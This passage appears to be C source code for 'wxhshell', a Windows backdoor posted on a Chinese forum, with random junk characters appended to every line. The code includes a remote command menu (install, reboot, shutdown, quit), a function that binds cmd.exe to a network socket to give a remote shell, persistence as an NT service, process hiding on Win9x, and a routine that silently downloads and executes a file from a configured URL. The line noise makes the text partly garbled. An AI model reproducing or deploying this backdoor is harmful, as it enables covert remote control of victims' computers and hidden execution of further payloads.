    switch(cmd[0]) { ES~^M840f  
  dzK{ Z  
  // 帮助 `l2O?U-@  
  case '?': { Ol"3a|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MuoF FvAA  
    break; g%F"l2M  
  } g (VNy@  
  // 安装 0;S,tJg  
  case 'i': { /@AEJ][$  
    if(Install()) /bj <Ft\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[#zCM  
    else M8H5K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%)gO  
    break; 5@*'2rO&!  
    } Hf'G8vW  
  // 卸载 D7Y)?Z5A;  
  case 'r': { K{n{KB&_&  
    if(Uninstall()) m9U"[Huv1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x21dku<6K[  
    else p!]6ll^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~/xR s  
    break; ^c~)/F/cF  
    } :o:e,WKxb  
  // 显示 wxhshell 所在路径 %WqNiF0-  
  case 'p': { {`2R,Jb%S  
    char svExeFile[MAX_PATH]; E?(xb B  
    strcpy(svExeFile,"\n\r"); o=FE5"t  
      strcat(svExeFile,ExeFile); ,-x!$VqS  
        send(wsh,svExeFile,strlen(svExeFile),0); sr@j$G#uW5  
    break; r{L4]|(utY  
    } QwhRNnE=  
  // 重启 P oEqurH0  
  case 'b': { r=yK,d/1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VMoSLFp^R  
    if(Boot(REBOOT)) jx acg^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]__%_  
    else { ?+T^O?r|O  
    closesocket(wsh); \{Q?^E  
    ExitThread(0); S+TOSjfis  
    } \om%Q[F7a  
    break; {3N'D2N  
    } =^H4Yck/5  
  // 关机 eZ"1gYqy  
  case 'd': { Bgmn2-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E}%hz*Q)(  
    if(Boot(SHUTDOWN)) 5[j`6l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T~h5B(J;  
    else { JCAq8=zM  
    closesocket(wsh); <~ JO s2  
    ExitThread(0); 3\T2?w9u(  
    } (KvROV);  
    break; &uC@|dbC5  
    } @( n^T  
  // 获取shell Ltjbxw"Qd  
  case 's': { `jS T  
    CmdShell(wsh); bc , p }  
    closesocket(wsh); D&HV6#  
    ExitThread(0); i#%aTRKHd6  
    break; G,;,D9jO7  
  } p4p@^@<>X  
  // 退出 ~b {Gz6u>  
  case 'x': { ;[RZ0Uy=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nx0K$ Ptq  
    CloseIt(wsh); +cU>k}  
    break; sB69R:U;  
    } 8w({\=  
  // 离开 ;gC|  
  case 'q': { fwzb!"!.@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AkOO )0  
    closesocket(wsh); 64:fs?H  
    WSACleanup(); $%VuSrZ&  
    exit(1); Qp`gswvE  
    break; U-n;xX0=  
        } 0ZQ'_g|%  
  } ccd8O{G.M  
  } 1:Si,d,wh  
_G1gtu]  
  // 提示信息 4 Jx"A\5*G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PqM1a oyX  
} 9W5onn  
  } t43)F9!  
<3,<\ub  
  return; =)|-?\[w  
} a~8[<Fomj  
wgd/(8d  
// shell模块句柄 uYrfm:4S  
int CmdShell(SOCKET sock) MQin"\  
{  @3kKJ  
STARTUPINFO si; eW|^tH  
ZeroMemory(&si,sizeof(si)); %4HRW;IU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'U'yC2BI n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #nh|=X  
PROCESS_INFORMATION ProcessInfo; 1 hg}(Hix  
char cmdline[]="cmd"; JmEj{K<3I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wj[$9UJb  
  return 0; "kZ[N'z (  
} imiR/V>N  
RoAlf+&Qb  
// 自身启动模式 O#Wh TDF"  
int StartFromService(void) i*CZV|t US  
{ ?.Pg\ur  
typedef struct ]r_;dYa  
{ aM4k *|H?  
  DWORD ExitStatus; 9(":,M(/o  
  DWORD PebBaseAddress; {&Q9"C  
  DWORD AffinityMask; <id}<H  
  DWORD BasePriority; 1{P'7IEj  
  ULONG UniqueProcessId; tnLAJ+ -M  
  ULONG InheritedFromUniqueProcessId; GRY2?'`  
}   PROCESS_BASIC_INFORMATION; LY+|[qka  
|*`Z*6n  
PROCNTQSIP NtQueryInformationProcess; 0?>dCu\  
c&L"N!4z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d:yqj:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;j2vHU#q-  
NzNA>[$[  
  HANDLE             hProcess; aN(|'uO@  
  PROCESS_BASIC_INFORMATION pbi; qoAj] ")  
`mN4_\]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \rPbK+G.  
  if(NULL == hInst ) return 0; O(_[ayE  
&5: tn=E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B-l'vVx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [k-+AA>:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B2ec@]uD`  
1IVuSp`{FU  
  if (!NtQueryInformationProcess) return 0; @}kv-*  
VcoOeAKL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *_?dVhxf  
  if(!hProcess) return 0; 0:b2(^]bg  
Gm\/Y:U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gdg"gi!4  
Ge<nxl<Bd  
  CloseHandle(hProcess); @]ao"ui@/  
: "1XPr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +o9":dl  
if(hProcess==NULL) return 0; : >>@rF ,  
-+O 9<3ly  
HMODULE hMod; `:axzCrCfR  
char procName[255]; \m1~jMz*>k  
unsigned long cbNeeded; u,6~qQczE  
*E{2J:`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \_B[{e7z  
%RDI!e<e}  
  CloseHandle(hProcess); Qca&E`~Q  
x.q+uU$^  
if(strstr(procName,"services")) return 1; // 以服务启动 )&!&AlLn  
:kGU,>BN  
  return 0; // 注册表启动 nR`ov1RH  
} ;amXY@RmH  
w}=5ElB  
// 主模块 !o$!Frc  
int StartWxhshell(LPSTR lpCmdLine) aE2.L;Tk?  
{ t]-5 ]oI  
  SOCKET wsl; x*/S*!vx\  
BOOL val=TRUE; oJfr +3I  
  int port=0; F;]%V%F.X  
  struct sockaddr_in door; -a-(r'Qc(  
@*sWu_ -Y%  
  if(wscfg.ws_autoins) Install(); =%/)m:f!^  
YIjTL!bA"  
port=atoi(lpCmdLine); nvPwngEQm  
q`r**N+zn  
if(port<=0) port=wscfg.ws_port;  f& CBU  
8w.YYo8`  
  WSADATA data; RU\/j%^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pa# IJ  
s;A@*Y;v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cb}[S:&|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uS^Ipxe\  
  door.sin_family = AF_INET; ye MB0Z*r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MNV % =G  
  door.sin_port = htons(port); Gh}*q|Lz  
ukUGvK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v\{!THCSh  
closesocket(wsl); vuYSVI2=H  
return 1; JeE ;V![  
} dN$Tf  
R47\Y  
  if(listen(wsl,2) == INVALID_SOCKET) { GN2Sn` ;  
closesocket(wsl); lg&t8FHa;  
return 1; m|G'K[8  
} J Px~VnE%%  
  Wxhshell(wsl); hyFyP\u]  
  WSACleanup(); z5 YWt*nm  
-jiG7OL  
return 0; %QP0  
2=^m9%  
} n<u $=H  
X)% A6M  
// 以NT服务方式启动 [D4Es  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >j QWn@  
{ Dg?:/=,=9r  
DWORD   status = 0; v'3J.?N  
  DWORD   specificError = 0xfffffff; .yEBOMNZ  
7yh /BZ1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aSnF KB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [;J>bi;3N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ rc{SB  
  serviceStatus.dwWin32ExitCode     = 0; %B.yW`,X  
  serviceStatus.dwServiceSpecificExitCode = 0; %xyou:~0zs  
  serviceStatus.dwCheckPoint       = 0; K9up:.{QQ  
  serviceStatus.dwWaitHint       = 0; N=7pK&NHSG  
k-^mIJo}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5f 5f0|ok  
  if (hServiceStatusHandle==0) return; :w^Ed%>y7  
#e$5d>j(  
status = GetLastError(); ]'=)2 .}  
  if (status!=NO_ERROR) W}mn}gTQ  
{ >: g3k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R)m'lMi|  
    serviceStatus.dwCheckPoint       = 0; \r+8qC[,  
    serviceStatus.dwWaitHint       = 0; +O?KNZ  
    serviceStatus.dwWin32ExitCode     = status; 7](KV"%V  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xx>X5Fy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OL^l 3F  
    return; V: TM]  
  } L bmawi^  
JVSA&c%3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VG ;kPzze  
  serviceStatus.dwCheckPoint       = 0; "[ZB+-|[0  
  serviceStatus.dwWaitHint       = 0; /x p|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }xh$T'M8  
} oc>{?.^  
B e0ND2oo  
// 处理NT服务事件,比如:启动、停止 _dhgAx-H)h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #;2n;.a  
{ 8p:e##%  
switch(fdwControl) CmoE _8U>  
{ MjC_ (cs  
case SERVICE_CONTROL_STOP: F}/S:(6LF2  
  serviceStatus.dwWin32ExitCode = 0; o9dY9o+Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '$ t  
  serviceStatus.dwCheckPoint   = 0;  abfW[J  
  serviceStatus.dwWaitHint     = 0; /Y2}a<3&0  
  { U ^5Kz-5.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ =VqrK7T  
  } vkEiOFU!u  
  return; Lo N< oj5  
case SERVICE_CONTROL_PAUSE: T~##,qQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;"~ fZ2$U  
  break; x#xFh0CA  
case SERVICE_CONTROL_CONTINUE: :Ra,Eu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =*c7i]@}  
  break; .7avpOfz  
case SERVICE_CONTROL_INTERROGATE: #PH~1`vl  
  break; IS&ZqE(`e  
}; f\sQO&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]\hSI){  
} NRIG1v>  
UMm!B`M  
// 标准应用程序主函数 biU^[g("  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -7@/[9Gf`:  
{ b((M)Gz  
{CGUL|y  
// 获取操作系统版本 _C*fs< #  
OsIsNt=GetOsVer(); @] DVD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }o?APvd  
S79;^X  
  // 从命令行安装 eoG$.M"  
  if(strpbrk(lpCmdLine,"iI")) Install(); I%j|D#qY:T  
PIoLywpRn  
  // 下载执行文件 87 $dBb{  
if(wscfg.ws_downexe) { .yqM7U_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f=r<nb'H  
  WinExec(wscfg.ws_filenam,SW_HIDE); -~v2BN/  
} R\G0'?h >  
pm 9"4z  
if(!OsIsNt) { YA_c N5p/@  
// 如果时win9x,隐藏进程并且设置为注册表启动 IID-k  
HideProc(); v,-HU&/*B  
StartWxhshell(lpCmdLine); CR"|^{G  
}  ~- _kM  
else V)~.~2$  
  if(StartFromService()) QSdHm  
  // 以服务方式启动 v4`"1Ss,K  
  StartServiceCtrlDispatcher(DispatchTable); AQ,' 6F9  
else '$ =>  
  // 普通方式启动 Mh:L$f0A%O  
  StartWxhshell(lpCmdLine); l3Q(TH~I  
6z#acE1)M  
return 0; t4zkt!`B  
}
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只看该作者 1 发表于: 2006-10-10
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